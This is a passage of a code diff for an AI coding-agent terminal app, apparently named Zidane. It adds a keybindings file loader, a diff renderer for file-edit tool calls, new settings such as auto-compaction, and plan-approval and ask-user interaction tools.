+	if (!overrides || typeof overrides !== "object") return { ...DEFAULT_KEYBINDINGS };
+	const merged = { ...DEFAULT_KEYBINDINGS };
+	for (const def of KEYBINDING_DEFS) {
+		const raw = overrides[def.action];
+		if (typeof raw !== "string") continue;
+		if (!parseBindingSpec(raw)) continue;
+		merged[def.action] = raw;
+	}
+	return merged;
+}
+/** Path of the user-level keybindings file. */
+function keybindingsPath(userDir) {
+	return resolve(userDir, "keybindings.json");
+}
+/**
+* Load + merge the user's keybindings file (when present). Always
+* returns a fully-resolved {@link KeyBindings} — defaults fill in for
+* any missing / invalid entries so consumers can treat the result as
+* total.
+*
+* Failure modes (all tolerated, all fall back to defaults):
+*   - File missing
+*   - File not valid JSON / JSONC (after comment stripping)
+*   - Top-level is not an object
+*   - Individual entries have invalid spec strings
+*/
+function readKeybindings(userDir) {
+	const path = keybindingsPath(userDir);
+	if (!existsSync(path)) return { ...DEFAULT_KEYBINDINGS };
+	try {
+		const raw = readFileSync(path, "utf-8");
+		const parsed = JSON.parse(stripJsonComments(raw));
+		if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return { ...DEFAULT_KEYBINDINGS };
+		return mergeKeybindings(parsed);
+	} catch {
+		return { ...DEFAULT_KEYBINDINGS };
+	}
+}
+/**
+* Create the user-level `keybindings.json` if it doesn't exist,
+* prefilled with every default. Returns the absolute file path either
+* way so the caller can open it in `$EDITOR`. Idempotent: an existing
+* user file is NEVER overwritten — the user's customizations are
+* sacred.
+*/
+function ensureKeybindingsFile(userDir) {
+	const path = keybindingsPath(userDir);
+	if (existsSync(path)) return path;
+	ensureDir$1(path);
+	const body = renderDefaultFile();
+	const tmp = `${path}.${process.pid}.tmp`;
+	writeFileSync(tmp, body);
+	renameSync(tmp, path);
+	return path;
+}
+/**
+* Render the default `keybindings.json` body. JSONC with a header
+* explaining the format + per-action comments derived from
+* {@link KEYBINDING_DEFS}'s descriptions. The user sees the catalog +
+* defaults at a glance the moment they open the file.
+*/
+function renderDefaultFile() {
+	const lines = [];
+	lines.push("// Zidane keybindings — edit values below to customize.");
+	lines.push("//");
+	lines.push("// Format:");
+	lines.push("//   \"<action>\": \"<modifier>+<modifier>+<key>\"");
+	lines.push("//");
+	lines.push("// Modifiers: ctrl, shift, alt (option), meta (cmd).");
+	lines.push("// Keys: a-z, 0-9, tab, return, escape, space, delete, …");
+	lines.push("//");
+	lines.push("// Comments (`//` line, `/* block */`) are stripped before parsing.");
+	lines.push("// Restart the TUI to apply changes.");
+	lines.push("{");
+	KEYBINDING_DEFS.forEach((def, i) => {
+		const trailingComma = i < KEYBINDING_DEFS.length - 1 ? "," : "";
+		lines.push(`  // ${def.description}`);
+		lines.push(`  ${JSON.stringify(def.action)}: ${JSON.stringify(def.default)}${trailingComma}`);
+	});
+	lines.push("}");
+	lines.push("");
+	return lines.join("\n");
+}
+function ensureDir$1(path) {
+	const dir = dirname(path);
+	if (!existsSync(dir)) mkdirSync(dir, { recursive: true });
+}
+/**
+* Strip `//` line comments and `/* … *\/` block comments from a JSONC
+* source string. Stays out of string literals so a `"foo // bar"` value
+* keeps its slashes. Exported for unit-tests; the only runtime caller
+* is {@link readKeybindings}.
+*
+* Trade-off: this is a tiny state-machine, not a full JSONC parser. It
+* doesn't understand `\\` outside strings (irrelevant for JSON) and
+* doesn't track line numbers in error messages. Good enough for a
+* config file — corruption in production gracefully falls back to the
+* defaults via the try/catch in `readKeybindings`.
+*/
+function stripJsonComments(input) {
+	let out = "";
+	let i = 0;
+	let inString = false;
+	let escape = false;
+	while (i < input.length) {
+		const c = input[i];
+		if (inString) {
+			out += c;
+			if (escape) escape = false;
+			else if (c === "\\") escape = true;
+			else if (c === "\"") inString = false;
+			i++;
+			continue;
+		}
+		if (c === "\"") {
+			inString = true;
+			out += c;
+			i++;
+			continue;
+		}
+		if (c === "/" && input[i + 1] === "/") {
+			while (i < input.length && input[i] !== "\n") i++;
+			continue;
+		}
+		if (c === "/" && input[i + 1] === "*") {
+			i += 2;
+			while (i < input.length && !(input[i] === "*" && input[i + 1] === "/")) i++;
+			i += 2;
+			continue;
+		}
+		out += c;
+		i++;
+	}
+	return out;
+}
+//#endregion
 //#region src/chat/project-root.ts
 /**
 * Git root detection — walks parents from `cwd` looking for a `.git`
@@ -880,6 +1682,230 @@ function hasGitMarker(dir) {
 	}
 }
 //#endregion
+//#region src/chat/edit-diff.ts
+function extractEditPayload(name, input, priorContent) {
+	const path = input.path;
+	if (typeof path !== "string" || path === "") return void 0;
+	if (name === "edit") {
+		const oldString = input.old_string;
+		const newString = input.new_string;
+		if (typeof oldString !== "string" || typeof newString !== "string") return void 0;
+		return {
+			tool: "edit",
+			path,
+			hunks: [{
+				oldString,
+				newString,
+				...input.replace_all === true ? { replaceAll: true } : {}
+			}]
+		};
+	}
+	if (name === "multi_edit") {
+		const steps = input.edits;
+		if (!Array.isArray(steps) || steps.length === 0) return void 0;
+		const hunks = [];
+		for (const raw of steps) {
+			if (typeof raw?.old_string !== "string" || typeof raw?.new_string !== "string") return void 0;
+			hunks.push({
+				oldString: raw.old_string,
+				newString: raw.new_string,
+				...raw.replace_all === true ? { replaceAll: true } : {}
+			});
+		}
+		return {
+			tool: "multi_edit",
+			path,
+			hunks
+		};
+	}
+	if (name === "write_file") {
+		const content = input.content;
+		if (typeof content !== "string") return void 0;
+		return {
+			tool: "write_file",
+			path,
+			hunks: [{
+				oldString: priorContent ?? "",
+				newString: content
+			}]
+		};
+	}
+}
+function computeLineDiff(oldString, newString) {
+	const oldLines = splitLines(oldString);
+	const newLines = splitLines(newString);
+	const n = oldLines.length;
+	const m = newLines.length;
+	const lcs = Array.from({ length: n + 1 }, () => Array.from({ length: m + 1 }).fill(0));
+	for (let i = 0; i < n; i++) for (let j = 0; j < m; j++) lcs[i + 1][j + 1] = oldLines[i] === newLines[j] ? lcs[i][j] + 1 : Math.max(lcs[i][j + 1], lcs[i + 1][j]);
+	const out = [];
+	let i = n;
+	let j = m;
+	while (i > 0 || j > 0) {
+		if (i > 0 && j > 0 && oldLines[i - 1] === newLines[j - 1]) {
+			out.push({
+				op: "context",
+				text: oldLines[i - 1]
+			});
+			i--;
+			j--;
+			continue;
+		}
+		if (j > 0 && (i === 0 || lcs[i][j - 1] >= lcs[i - 1][j])) {
+			out.push({
+				op: "add",
+				text: newLines[j - 1]
+			});
+			j--;
+			continue;
+		}
+		out.push({
+			op: "remove",
+			text: oldLines[i - 1]
+		});
+		i--;
+	}
+	out.reverse();
+	return out;
+}
+/**
+* Split a string into lines preserving empty lines but dropping the
+* implicit trailing `""` produced by a final `\n`. Exported only for
+* its tests — callers should use `computeLineDiff`.
+*/
+function splitLines(s) {
+	if (s === "") return [];
+	const parts = s.split("\n");
+	if (parts[parts.length - 1] === "") parts.pop();
+	return parts;
+}
+function computeInlineDiff(oldLine, newLine) {
+	const oldTokens = tokenize(oldLine);
+	const newTokens = tokenize(newLine);
+	const n = oldTokens.length;
+	const m = newTokens.length;
+	const lcs = Array.from({ length: n + 1 }, () => Array.from({ length: m + 1 }).fill(0));
+	for (let i = 0; i < n; i++) for (let j = 0; j < m; j++) lcs[i + 1][j + 1] = oldTokens[i] === newTokens[j] ? lcs[i][j] + 1 : Math.max(lcs[i][j + 1], lcs[i + 1][j]);
+	const oldSegments = [];
+	const newSegments = [];
+	let i = n;
+	let j = m;
+	while (i > 0 || j > 0) {
+		if (i > 0 && j > 0 && oldTokens[i - 1] === newTokens[j - 1]) {
+			pushSegment(oldSegments, {
+				text: oldTokens[i - 1],
+				changed: false
+			});
+			pushSegment(newSegments, {
+				text: newTokens[j - 1],
+				changed: false
+			});
+			i--;
+			j--;
+			continue;
+		}
+		if (j > 0 && (i === 0 || lcs[i][j - 1] >= lcs[i - 1][j])) {
+			pushSegment(newSegments, {
+				text: newTokens[j - 1],
+				changed: true
+			});
+			j--;
+			continue;
+		}
+		pushSegment(oldSegments, {
+			text: oldTokens[i - 1],
+			changed: true
+		});
+		i--;
+	}
+	oldSegments.reverse();
+	newSegments.reverse();
+	return {
+		oldSegments,
+		newSegments
+	};
+}
+/**
+* Coalesce adjacent same-state segments so the renderer emits one
+* `<span>` per run instead of one per token — keeps the React tree
+* shallow on dense lines without changing the visual output.
+*
+* Walking direction is reverse (we push during the reverse walk, then
+* the caller reverses the array), so we coalesce against the *tail*.
+*/
+function pushSegment(buf, seg) {
+	const tail = buf[buf.length - 1];
+	if (tail && tail.changed === seg.changed) tail.text = seg.text + tail.text;
+	else buf.push(seg);
+}
+/**
+* Tokenize on word / non-word boundaries. Each run of `\w+` is one
+* token; each run of `\W+` (whitespace, punctuation) is another. This
+* gives the right granularity for renames (`oldName` → `newName`) and
+* for symbol swaps (`+ → -`) without exploding into per-char segments.
+*
+* Exported only for its tests.
+*/
+function tokenize(s) {
+	if (s === "") return [];
+	const out = [];
+	const re = /\w+|\W+/g;
+	let match;
+	while ((match = re.exec(s)) !== null) out.push(match[0]);
+	return out;
+}
+function buildUnifiedDiff(payload) {
+	const parts = [];
+	const isNewFile = payload.tool === "write_file" && payload.hunks[0]?.oldString === "";
+	parts.push(isNewFile ? `--- /dev/null` : `--- a/${payload.path}`);
+	parts.push(`+++ b/${payload.path}`);
+	for (const hunk of payload.hunks) {
+		const lines = computeLineDiff(hunk.oldString, hunk.newString);
+		const oldCount = lines.filter((l) => l.op !== "add").length;
+		const newCount = lines.filter((l) => l.op !== "remove").length;
+		const oldStart = oldCount === 0 ? 0 : 1;
+		const newStart = newCount === 0 ? 0 : 1;
+		parts.push(`@@ -${oldStart},${oldCount} +${newStart},${newCount} @@`);
+		for (const line of lines) {
+			const prefix = line.op === "add" ? "+" : line.op === "remove" ? "-" : " ";
+			parts.push(`${prefix}${line.text}`);
+		}
+	}
+	return `${parts.join("\n")}\n`;
+}
+const FILETYPE_BY_EXT = {
+	ts: "typescript",
+	mts: "typescript",
+	cts: "typescript",
+	tsx: "tsx",
+	js: "javascript",
+	mjs: "javascript",
+	cjs: "javascript",
+	jsx: "jsx",
+	py: "python",
+	pyi: "python",
+	rs: "rust",
+	go: "go",
+	json: "json",
+	jsonc: "json",
+	sh: "bash",
+	bash: "bash",
+	zsh: "bash",
+	yaml: "yaml",
+	yml: "yaml",
+	html: "html",
+	htm: "html",
+	css: "css",
+	md: "markdown",
+	markdown: "markdown"
+};
+function filetypeFromPath(path) {
+	const cleaned = path.split(/[?#]/, 1)[0];
+	const lastDot = cleaned.lastIndexOf(".");
+	if (lastDot === -1 || lastDot === cleaned.length - 1) return void 0;
+	return FILETYPE_BY_EXT[cleaned.slice(lastDot + 1).toLowerCase()];
+}
+//#endregion
 //#region src/chat/store.ts
 function ensureStateDir(path) {
 	const dir = dirname(path);
@@ -1084,7 +2110,20 @@ function eventsFromTurns(turns, runs = []) {
 					...tool ? { tool } : {},
 					...tag
 				});
-			}
+			} else if (block.type === "compact-summary") events.push({
+				kind: "compact-summary",
+				text: block.summary,
+				compact: {
+					replacedCount: block.replacesTurnIds.length,
+					model: block.model,
+					compactedAt: block.compactedAt,
+					inputTokens: block.usage.input ?? 0,
+					outputTokens: block.usage.output ?? 0,
+					cacheReadTokens: block.usage.cacheRead ?? 0,
+					cacheCreationTokens: block.usage.cacheCreation ?? 0
+				},
+				turnId: turn.id
+			});
 			lastDepthAtEmission = depth;
 			continue;
 		}
@@ -1095,12 +2134,17 @@ function eventsFromTurns(turns, runs = []) {
 				streaming: false,
 				...tag
 			});
-			else if (block.type === "tool_call") events.push({
-				kind: "tool",
-				text: toolCallPreview(block.name, block.input),
-				tool: block.name,
-				...tag
-			});
+			else if (block.type === "tool_call") {
+				const edit = extractEditPayload(block.name, block.input);
+				events.push({
+					kind: "tool",
+					text: toolCallPreview(block.name, block.input),
+					tool: block.name,
+					input: block.input,
+					...edit ? { edit } : {},
+					...tag
+				});
+			}
 			lastDepthAtEmission = depth;
 		}
 	}
@@ -1252,6 +2296,7 @@ function resolveConfig(options) {
 	const initialPicked = resumeProvider ? pickInitial(resumeProvider, providers, initialState) : null;
 	const initialAgentId = resolveAgentId(agents, initialState.lastAgent, options.defaultAgent ?? "build");
 	if (!initialAgentId) throw new Error("resolveConfig: failed to resolve an initial agent id from a non-empty registry.");
+	const keybindings = readKeybindings(paths.userDir);
 	return {
 		prefix,
 		storageDir,
@@ -1263,9 +2308,10 @@ function resolveConfig(options) {
 		stateStore,
 		modelsFor,
 		initialState,
-		initialSettings: initialState.settings ?? {},
+		initialSettings: migrateLegacySettings(initialState.settings ?? {}),
 		resumeProvider,
-		initialPicked
+		initialPicked,
+		keybindings
 	};
 }
 /**
@@ -1323,6 +2369,35 @@ function userOnlyPaths(userDir) {
 		state: resolve(userDir, "state.json")
 	};
 }
+/**
+* Migrate legacy `state.json` settings shapes forward. Pre-5.x persisted
+* `showToolCalls: boolean` controlled whether `↳ <tool>` lines rendered;
+* 5.x replaces that with a 3-way `toolCallDisplay: 'hidden' | 'formatted'
+* | 'full'` choice that adds a per-tool clean summary and a JSON debug
+* view alongside the existing "show / hide" behavior.
+*
+* Mapping (only when the new key is absent — never overwrite a user's
+* explicit modern choice):
+*
+*   showToolCalls: true  → toolCallDisplay: 'formatted'
+*   showToolCalls: false → toolCallDisplay: 'hidden'
+*
+* The legacy key is dropped from the returned object so the in-memory
+* Settings shape stays clean; persisted state still carries it until
+* the next save overwrites the file, which is harmless (extra fields
+* round-trip through JSON without consequence).
+*/
+function migrateLegacySettings(loaded) {
+	if ("showToolCalls" in loaded && !("toolCallDisplay" in loaded)) {
+		const legacy = loaded.showToolCalls;
+		const { showToolCalls: _, ...rest } = loaded;
+		return {
+			...rest,
+			toolCallDisplay: legacy === false ? "hidden" : "formatted"
+		};
+	}
+	return loaded;
+}
 /** Tri-state parse for env-var bools — explicit `null` keeps absence from forcing a default. */
 function parseEnvFlag(raw) {
 	if (raw === void 0) return void 0;
@@ -1541,7 +2616,15 @@ function catppuccinTheme(id, label, p) {
 					fg: p.base
 				}
 			},
-			selection: p.surface0
+			selection: p.surface0,
+			diff: {
+				addBg: p.surface0,
+				removeBg: p.surface0,
+				addContentBg: p.surface1,
+				removeContentBg: p.surface1,
+				addFg: p.green,
+				removeFg: p.red
+			}
 		},
 		syntax: {
 			"default": { fg: p.text },
@@ -1706,7 +2789,15 @@ const VAPORWAVE_THEME = {
 				fg: PALETTE.panel
 			}
 		},
-		selection: PALETTE.surface
+		selection: PALETTE.surface,
+		diff: {
+			addBg: "#1a3528",
+			removeBg: "#3a1a23",
+			addContentBg: "#234c39",
+			removeContentBg: "#52232f",
+			addFg: PALETTE.greenBright,
+			removeFg: PALETTE.red
+		}
 	},
 	syntax: {
 		"default": { fg: PALETTE.text },
@@ -1869,7 +2960,15 @@ const DEFAULT_THEME = {
 				fg: "#122f59"
 			}
 		},
-		selection: "#142737"
+		selection: "#142737",
+		diff: {
+			addBg: "#0e2218",
+			removeBg: "#2a1414",
+			addContentBg: "#143728",
+			removeContentBg: "#3d1d1d",
+			addFg: "#22c55e",
+			removeFg: "#ef4444"
+		}
 	},
 	syntax: {
 		"default": { fg: "#fefeff" },
@@ -1989,12 +3088,17 @@ function resolveTheme(id) {
 //#region src/chat/settings-context.tsx
 const DEFAULT_SETTINGS = {
 	showThinking: true,
-	showToolCalls: true,
+	toolCallDisplay: "formatted",
 	showToolResults: true,
 	safeMode: true,
 	hideSubagentOutput: true,
 	theme: DEFAULT_THEME.id,
-	showAllProjects: false
+	showAllProjects: false,
+	resumeLastSession: true,
+	persistToolResults: true,
+	autoCompact: true,
+	autoCompactThreshold: .8,
+	showEditDiffs: true
 };
 const SettingsContext = createContext(null);
 function SettingsProvider({ initial, onChange, children }) {
@@ -2046,11 +3150,26 @@ const SETTINGS_TOGGLES = [
 		label: "Safe mode",
 		description: "prompt before each tool call (unless safelisted)"
 	},
+	{
+		key: "resumeLastSession",
+		label: "Start from last session",
+		description: "auto-resume on launch (off = sessions list / fresh chat)"
+	},
 	{
 		key: "hideSubagentOutput",
 		label: "Hide subagent output",
 		description: "collapse subagent runs to start/done markers"
 	},
+	{
+		key: "persistToolResults",
+		label: "Persist large tool results",
+		description: "write >8 KiB tool outputs to disk and inline a preview"
+	},
+	{
+		key: "autoCompact",
+		label: "Auto-compact",
+		description: "summarize the conversation when context fills past the threshold below"
+	},
 	{
 		key: "showAllProjects",
 		label: "All projects",
@@ -2062,25 +3181,69 @@ const SETTINGS_TOGGLES = [
 		description: "agent reasoning shown inline"
 	},
 	{
-		key: "showToolCalls",
-		label: "Tool calls",
-		description: "the ↳ name(args) lines"
+		key: "showToolResults",
+		label: "Tool outputs",
+		description: "the ┃ result blocks under tool calls"
+	},
+	{
+		key: "showEditDiffs",
+		label: "Edit diffs",
+		description: "render edit / multi_edit / write_file as a unified diff"
+	}
+];
+const SETTINGS_CHOICES = [
+	{
+		key: "toolCallDisplay",
+		label: "Tool calls display",
+		description: "how `↳ <tool>` lines render — hidden, clean per-tool summary, or full JSON",
+		options: [
+			{
+				value: "formatted",
+				label: "Formatted"
+			},
+			{
+				value: "full",
+				label: "Full"
+			},
+			{
+				value: "hidden",
+				label: "Hidden"
+			}
+		]
+	},
+	{
+		key: "autoCompactThreshold",
+		label: "Auto-compact threshold",
+		description: "fraction of the effective context window before compaction fires",
+		options: [
+			{
+				value: .6,
+				label: "60%"
+			},
+			{
+				value: .7,
+				label: "70%"
+			},
+			{
+				value: .8,
+				label: "80%"
+			},
+			{
+				value: .9,
+				label: "90%"
+			}
+		]
 	},
 	{
-		key: "showToolResults",
-		label: "Tool outputs",
-		description: "the ┃ result blocks under tool calls"
+		key: "theme",
+		label: "Theme",
+		description: "colors + markdown / syntax styles",
+		options: Object.values(BUILTIN_THEMES).map((t) => ({
+			value: t.id,
+			label: t.label
+		}))
 	}
 ];
-const SETTINGS_CHOICES = [{
-	key: "theme",
-	label: "Theme",
-	description: "colors + markdown / syntax styles",
-	options: Object.values(BUILTIN_THEMES).map((t) => ({
-		value: t.id,
-		label: t.label
-	}))
-}];
 //#endregion
 //#region src/chat/enabled-toggle-set.ts
 /**
@@ -2483,6 +3646,616 @@ function clip(text, max) {
 	return text.length > max ? `${text.slice(0, max)}…` : text;
 }
 //#endregion
+//#region src/chat/interactions.tsx
+const PRESENT_PLAN_TOOL = "present_plan";
+const ASK_USER_TOOL = "ask_user";
+/** True when `name` is one of the interaction tool canonical names. */
+function isInteractionTool(name) {
+	return name === "present_plan" || name === "ask_user";
+}
+/**
+* Format an {@link InteractionResponse} as the tool_result content. JSON
+* keeps the envelope parseable and explicit. Empty fields are stripped so
+* the model doesn't waste tokens reading absent values.
+*/
+function serializeInteractionResponse(response) {
+	if (response.kind === "plan") {
+		const body = { decision: response.decision };
+		if (response.comment && response.comment.trim().length > 0) body.comment = response.comment.trim();
+		return JSON.stringify(body);
+	}
+	const answers = {};
+	for (const [id, value] of Object.entries(response.answers)) if (typeof value === "string") {
+		const trimmed = value.trim();
+		if (trimmed.length > 0) answers[id] = trimmed;
+	} else if (typeof value === "boolean") answers[id] = value;
+	return JSON.stringify({ answers });
+}
+/**
+* Build a protocol-valid user `SessionTurn` that closes a batch of
+* resumed pending interactions.
+*
+* - `requests` MUST be the same list returned by
+*   {@link pendingInteractionsFromTurns} for the session, in order.
+* - `responses` MUST contain an entry for every request id; throws
+*   otherwise (caller bug — flush before all answers collected).
+*
+* Pure / total. Tested in isolation so the batching invariant doesn't
+* regress without the resumed-flow integration noticing.
+*/
+function buildResumedToolResultsTurn(requests, responses, options) {
+	if (requests.length === 0) throw new Error("buildResumedToolResultsTurn: at least one request is required");
+	const content = requests.map((req) => {
+		const response = responses.get(req.id);
+		if (!response) throw new Error(`buildResumedToolResultsTurn: missing response for request "${req.id}". All ${requests.length} pending interactions must be resolved before flushing.`);
+		return {
+			type: "tool_result",
+			callId: req.id,
+			output: serializeInteractionResponse(response)
+		};
+	});
+	return {
+		id: options.turnId,
+		role: "user",
+		content,
+		createdAt: options.createdAt ?? Date.now(),
+		...options.runId ? { runId: options.runId } : {}
+	};
+}
+/**
+* Scan `turns` and return every interaction tool call without a matching
+* `tool_result`, ordered by turn appearance. Works equally for live mid-run
+* inspection and reload-from-disk.
+*
+* Malformed payloads (input that doesn't match the tool's schema) are
+* skipped silently — the call still lives in the persisted history, but
+* the renderer wouldn't know how to display it. The next `agent.run()` on
+* the session will see the orphan and synthesize an error tool_result via
+* the loop's normal recovery path.
+*/
+function pendingInteractionsFromTurns(turns) {
+	const calls = [];
+	const resultIds = /* @__PURE__ */ new Set();
+	for (const turn of turns) for (const block of turn.content) if (block.type === "tool_call" && isInteractionTool(block.name)) calls.push({
+		callId: block.id,
+		tool: block.name,
+		input: block.input,
+		...turn.runId ? { runId: turn.runId } : {},
+		turnId: turn.id,
+		createdAt: turn.createdAt
+	});
+	else if (block.type === "tool_result") resultIds.add(block.callId);
+	const pending = [];
+	for (const call of calls) {
+		if (resultIds.has(call.callId)) continue;
+		if (call.tool === "present_plan") {
+			const payload = parsePlanPayload(call.input);
+			if (!payload) continue;
+			pending.push({
+				id: call.callId,
+				kind: "plan",
+				tool: PRESENT_PLAN_TOOL,
+				payload,
+				...call.runId ? { runId: call.runId } : {},
+				turnId: call.turnId,
+				createdAt: call.createdAt
+			});
+		} else if (call.tool === "ask_user") {
+			const payload = parseQuestionPayload(call.input);
+			if (!payload) continue;
+			pending.push({
+				id: call.callId,
+				kind: "question",
+				tool: ASK_USER_TOOL,
+				payload,
+				...call.runId ? { runId: call.runId } : {},
+				turnId: call.turnId,
+				createdAt: call.createdAt
+			});
+		}
+	}
+	return pending;
+}
+/**
+* Defensive parsers — tools validate via JSON Schema before `execute`, but
+* persisted turns can carry malformed input (model regressions, schema
+* migrations). We accept what we recognize and drop what we don't.
+*/
+function parsePlanPayload(input) {
+	const title = typeof input.title === "string" ? input.title.trim() : "";
+	const plan = typeof input.plan === "string" ? input.plan : "";
+	if (!title || !plan) return null;
+	const stepsRaw = Array.isArray(input.steps) ? input.steps : void 0;
+	const steps = [];
+	if (stepsRaw) for (const s of stepsRaw) {
+		if (!s || typeof s !== "object") continue;
+		const cast = s;
+		if (typeof cast.id !== "string" || typeof cast.title !== "string") continue;
+		steps.push({
+			id: cast.id,
+			title: cast.title,
+			...typeof cast.description === "string" ? { description: cast.description } : {}
+		});
+	}
+	return {
+		title,
+		plan,
+		...steps.length > 0 ? { steps } : {}
+	};
+}
+/**
+* Defensive parser for an `ask_user` request. Accepts BOTH the new
+* multi-question shape and the legacy single-question shape (kept so
+* sessions created before the multi-question rework still surface
+* correctly on resume).
+*
+*   - New: `{ intro?, questions: [...] }`.
+*   - Legacy: `{ question, choices?, allowComment? }` → wrapped into a
+*     single `select` (if choices) or `textarea` (otherwise) question
+*     keyed by the synthetic id `'answer'`.
+*/
+function parseQuestionPayload(input) {
+	const intro = typeof input.intro === "string" && input.intro.trim().length > 0 ? input.intro : void 0;
+	if (Array.isArray(input.questions)) {
+		const questions = [];
+		const seen = /* @__PURE__ */ new Set();
+		for (const raw of input.questions) {
+			const q = parseQuestion(raw);
+			if (!q) continue;
+			if (seen.has(q.id)) continue;
+			seen.add(q.id);
+			questions.push(q);
+		}
+		if (questions.length === 0) return null;
+		return {
+			...intro ? { intro } : {},
+			questions
+		};
+	}
+	const question = typeof input.question === "string" ? input.question.trim() : "";
+	if (!question) return null;
+	const choices = parseChoices(input.choices);
+	const legacy = choices.length > 0 ? {
+		id: "answer",
+		prompt: question,
+		type: "select",
+		choices
+	} : {
+		id: "answer",
+		prompt: question,
+		type: "textarea"
+	};
+	return {
+		...intro ? { intro } : {},
+		questions: [legacy]
+	};
+}
+function parseQuestion(raw) {
+	if (!raw || typeof raw !== "object") return null;
+	const cast = raw;
+	if (typeof cast.id !== "string" || !cast.id) return null;
+	if (typeof cast.prompt !== "string" || !cast.prompt.trim()) return null;
+	const type = cast.type;
+	if (type !== "text" && type !== "textarea" && type !== "select" && type !== "confirm") return null;
+	const base = {
+		id: cast.id,
+		prompt: cast.prompt,
+		...typeof cast.description === "string" ? { description: cast.description } : {},
+		...typeof cast.required === "boolean" ? { required: cast.required } : {}
+	};
+	if (type === "text" || type === "textarea") return {
+		...base,
+		type,
+		...typeof cast.placeholder === "string" ? { placeholder: cast.placeholder } : {},
+		...typeof cast.default === "string" ? { default: cast.default } : {}
+	};
+	if (type === "select") {
+		const choices = parseChoices(cast.choices);
+		if (choices.length === 0) return null;
+		return {
+			...base,
+			type,
+			choices
+		};
+	}
+	return {
+		...base,
+		type,
+		...typeof cast.affirmLabel === "string" ? { affirmLabel: cast.affirmLabel } : {},
+		...typeof cast.denyLabel === "string" ? { denyLabel: cast.denyLabel } : {}
+	};
+}
+function parseChoices(raw) {
+	if (!Array.isArray(raw)) return [];
+	const choices = [];
+	for (const c of raw) {
+		if (!c || typeof c !== "object") continue;
+		const cast = c;
+		if (typeof cast.id !== "string" || typeof cast.label !== "string") continue;
+		choices.push({
+			id: cast.id,
+			label: cast.label,
+			...typeof cast.description === "string" ? { description: cast.description } : {}
+		});
+	}
+	return choices;
+}
+/**
+* Create the `present_plan` and `ask_user` tools as a record, ready to
+* spread into `createAgent({ tools })` or composed into a {@link Preset}.
+*/
+function createInteractionTools(opts) {
+	return {
+		[PRESENT_PLAN_TOOL]: createPlanTool(opts),
+		[ASK_USER_TOOL]: createQuestionTool(opts)
+	};
+}
+const PLAN_DESCRIPTION = "Present a multi-step plan to the user for approval BEFORE executing it. Use this when you have a concrete proposal that materially changes the workspace and want explicit confirmation. The user can approve, reject, or request revisions; revisions come back as a comment alongside a `revise` decision.";
+const QUESTION_DESCRIPTION = "Ask the user one or more clarifying questions and pause until they answer. Batch related questions into a single call instead of asking one at a time — every call pauses the conversation. Each question carries a `type`: `text` (single line), `textarea` (multi-line), `select` (one of `choices`), or `confirm` (yes/no). Use sparingly: only when explicit user input materially changes the next steps.";
+function createPlanTool({ requestInteraction }) {
+	return {
+		spec: {
+			name: PRESENT_PLAN_TOOL,
+			description: PLAN_DESCRIPTION,
+			inputSchema: {
+				type: "object",
+				properties: {
+					title: {
+						type: "string",
+						description: "Short headline summary of the plan."
+					},
+					plan: {
+						type: "string",
+						description: "Full plan body, written as Markdown."
+					},
+					steps: {
+						type: "array",
+						description: "Optional structured step list. Each step has an `id`, `title`, and optional `description`.",
+						items: {
+							type: "object",
+							properties: {
+								id: { type: "string" },
+								title: { type: "string" },
+								description: { type: "string" }
+							},
+							required: ["id", "title"]
+						}
+					}
+				},
+				required: ["title", "plan"]
+			}
+		},
+		async execute(input, ctx) {
+			const payload = parsePlanPayload(input);
+			if (!payload) throw new Error("present_plan: invalid input — expected non-empty `title` and `plan` strings.");
+			const response = await requestInteraction({
+				id: ctx.callId,
+				kind: "plan",
+				tool: PRESENT_PLAN_TOOL,
+				payload,
+				...ctx.runId ? { runId: ctx.runId } : {},
+				turnId: ctx.turnId,
+				createdAt: Date.now()
+			});
+			if (response.kind !== "plan") throw new Error(`present_plan: unexpected response kind "${response.kind}".`);
+			return serializeInteractionResponse(response);
+		}
+	};
+}
+function createQuestionTool({ requestInteraction }) {
+	return {
+		spec: {
+			name: ASK_USER_TOOL,
+			description: QUESTION_DESCRIPTION,
+			inputSchema: {
+				type: "object",
+				properties: {
+					intro: {
+						type: "string",
+						description: "Optional context shown above the questions (Markdown)."
+					},
+					questions: {
+						type: "array",
+						description: "One or more questions for the user to answer in a single form.",
+						minItems: 1,
+						items: {
+							type: "object",
+							properties: {
+								id: {
+									type: "string",
+									description: "Stable identifier — keys the answer back to the model."
+								},
+								prompt: {
+									type: "string",
+									description: "The question to display."
+								},
+								type: {
+									type: "string",
+									enum: [
+										"text",
+										"textarea",
+										"select",
+										"confirm"
+									],
+									description: "`text` = single line, `textarea` = multi-line, `select` = pick from `choices`, `confirm` = yes/no."
+								},
+								description: {
+									type: "string",
+									description: "Optional helper text shown under the prompt."
+								},
+								required: {
+									type: "boolean",
+									description: "Whether a non-empty answer is required."
+								},
+								placeholder: {
+									type: "string",
+									description: "For `text` / `textarea`: placeholder shown when the input is empty."
+								},
+								default: {
+									type: "string",
+									description: "For `text` / `textarea`: pre-fill the input with this value."
+								},
+								choices: {
+									type: "array",
+									description: "For `select`: the available choices. Required.",
+									items: {
+										type: "object",
+										properties: {
+											id: { type: "string" },
+											label: { type: "string" },
+											description: { type: "string" }
+										},
+										required: ["id", "label"]
+									}
+								},
+								affirmLabel: {
+									type: "string",
+									description: "For `confirm`: label for the affirmative option. Default: `\"yes\"`."
+								},
+								denyLabel: {
+									type: "string",
+									description: "For `confirm`: label for the negative option. Default: `\"no\"`."
+								}
+							},
+							required: [
+								"id",
+								"prompt",
+								"type"
+							]
+						}
+					}
+				},
+				required: ["questions"]
+			}
+		},
+		async execute(input, ctx) {
+			const payload = parseQuestionPayload(input);
+			if (!payload) throw new Error("ask_user: invalid input — expected a non-empty `questions` array.");
+			const response = await requestInteraction({
+				id: ctx.callId,
+				kind: "question",
+				tool: ASK_USER_TOOL,
+				payload,
+				...ctx.runId ? { runId: ctx.runId } : {},
+				turnId: ctx.turnId,
+				createdAt: Date.now()
+			});
+			if (response.kind !== "question") throw new Error(`ask_user: unexpected response kind "${response.kind}".`);
+			return serializeInteractionResponse(response);
+		}
+	};
+}
+const InteractionsQueueContext = createContext([]);
+const InteractionsActionsContext = createContext(null);
+function InteractionsProvider({ children }) {
+	const [queue, setQueue] = useState([]);
+	const enqueue = useCallback((entry) => {
+		setQueue((prev) => [...prev, entry]);
+	}, []);
+	const resolveHead = useCallback((response) => {
+		setQueue((prev) => {
+			const [head, ...rest] = prev;
+			if (head) head.resolve(response);
+			return rest;
+		});
+	}, []);
+	const cancelHead = useCallback((reason) => {
+		setQueue((prev) => {
+			const [head, ...rest] = prev;
